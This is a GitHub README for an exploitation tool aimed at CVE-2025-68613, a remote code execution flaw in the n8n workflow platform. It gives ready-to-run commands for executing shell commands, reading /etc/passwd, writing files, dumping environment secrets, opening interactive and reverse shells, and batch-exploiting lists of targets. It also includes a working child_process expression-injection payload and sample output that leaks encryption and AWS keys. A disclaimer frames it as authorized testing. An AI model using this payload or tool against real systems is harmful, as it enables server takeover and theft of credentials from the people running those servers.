hackersatyamrastogi/n8n-exploit-cve-2025-68613-n8n-god-mode-ultimaten8n God Mode Ultimate - CVE-2025-68613 Scanner v1.0.0 ║ ║ Workflow Automation Remote Code Execution
Advanced n8n Workflow Automation RCE Scanner & Exploitation Tool
n8n God Mode Ultimate is a comprehensive security testing framework designed to detect and validate CVE-2025-68613 in n8n workflow automation platforms. This critical Remote Code Execution (RCE) vulnerability affects n8n versions through expression injection in workflow execution contexts.
Affected Versions:
Patched Versions:
--detect - Version detection only (fastest, non-intrusive)--safe - Safe vulnerability check without exploitation--poc - RCE proof-of-concept validation--exploit - Full exploitation moderead <file> - Read remote fileswrite <file> <content> - Write files to target# Python 3.8 or higher
python3 --version
# pip package manager
pip3 --version
# Clone the repository
git clone https://github.com/hackersatyamrastogi/n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate.git
cd n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate
# Install required packages
pip3 install -r requirements.txt
requests>=2.31.0
urllib3>=2.0.0
tqdm>=4.66.0
colorama>=0.4.6
# Display help menu
python3 n8n-godmode-ultimate.py -h
# Detect n8n version (non-intrusive)
python3 n8n-godmode-ultimate.py -u http://target:5678 --detect
# Safe vulnerability check
python3 n8n-godmode-ultimate.py -u http://target:5678 --safe -e [email protected] -p password
# Proof-of-concept RCE
python3 n8n-godmode-ultimate.py -u http://target:5678 --poc -e [email protected] -p password
# Full exploitation
python3 n8n-godmode-ultimate.py -u http://target:5678 --exploit -e [email protected] -p password
# Execute single command
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --cmd "whoami"
# Read remote file
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --read-file "/etc/passwd"
# Write remote file
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --write-file "/tmp/test.txt" --content "payload"
# Extract environment variables
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --dump-env
# Interactive shell
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --shell
# Scan multiple targets from file
python3 n8n-godmode-ultimate.py -l targets.txt --detect -t 20
# Batch exploitation
python3 n8n-godmode-ultimate.py -l targets.txt --poc -e [email protected] -p password -t 10
targets.txt format:
http://target1:5678
https://target2.example.com
http://192.168.1.100:5678
https://n8n.example.org
Once in shell mode (--shell):
n8n> whoami # Execute command
n8n> read /etc/passwd # Read file
n8n> env # Show environment variables
n8n> info # System information
n8n> history # Command history
n8n> exit # Exit shell
-u, --url URL Target n8n URL
-l, --list FILE File containing target URLs
-t, --threads NUM Number of threads for batch scanning (default: 10)
-e, --email EMAIL n8n user email
-p, --password PASS n8n user password
--detect Version detection only (fastest)
--safe Safe check without exploitation
--poc RCE proof-of-concept
--exploit Full exploitation mode
--god Enable god mode
--cmd COMMAND Execute single command
--read-file PATH Read remote file
--write-file PATH Write remote file
--content DATA Content for write operation
--dump-env Extract all environment variables
--shell Interactive shell mode
--revshell HOST:PORT Reverse shell payload
--mode MODE Exploit mode: schedule|webhook|code|expression (default: schedule)
--timeout SEC Command timeout in seconds (default: 30)
--cleanup Delete workflows after execution
-k, --insecure Disable SSL verification
-v, --verbose Verbose output
-q, --quiet Minimal output
Creates a workflow with a scheduled trigger that auto-executes every 3 seconds. Most reliable method.
Payload: {{(function(){
return this.process.mainModule.require('child_process')
.execSync('whoami').toString()
})()}}
Creates an HTTP webhook endpoint that executes commands when triggered.
Injects code directly into a Code node with child_process access.
Manual execution via n8n's expression evaluation system.
Extracts version from base64-encoded Sentry configuration in signin page:
<meta name="n8n:config:sentry" content="eyJ2ZXJzaW9uIjoi..." />
/rest/login - Authentication/rest/workflows - Workflow CRUD operations/rest/credentials - Credential enumeration/rest/executions - Execution log retrieval/rest/users - User enumeration/rest/settings - System configuration[*] n8n God Mode Ultimate v1.0.0
[*] Target: https://target.example.com
[✓] n8n Version: 1.36.1
[!] Status: VULNERABLE (< 1.120.4)
[*] Authentication successful
[*] Creating exploitation workflow...
[*] Workflow ID: hd6LxSY765WBThqd
[*] Executing command: whoami
[✓] Command executed successfully!
[+] Output: root
n8n> whoami
[+] root
n8n> read /etc/hostname
[+] n8n-production-server
n8n> env
[+] Environment Variables:
N8N_ENCRYPTION_KEY=a1b2c3d4e5f6...
DATABASE_HOST=postgres.internal
AWS_ACCESS_KEY_ID=AKIA...
FOR AUTHORIZED SECURITY TESTING ONLY
This tool is provided for educational purposes and authorized security testing. Users must comply with all applicable laws and regulations.
YOU MUST:
YOU MUST NOT:
The author assumes NO responsibility for misuse of this tool. Unauthorized access to computer systems is illegal under:
Use at your own risk. You are responsible for your actions.
Contributions are welcome! Please follow these guidelines:
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)Satyam Rastogi
This project is licensed under the MIT License - see the LICENSE file for details.
MIT License
Copyright (c) 2025 Satyam Rastogi
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
For security issues, please report responsibly:
⭐ Star this repository if you found it useful!
Made with 💻 by security researchers, for security researchers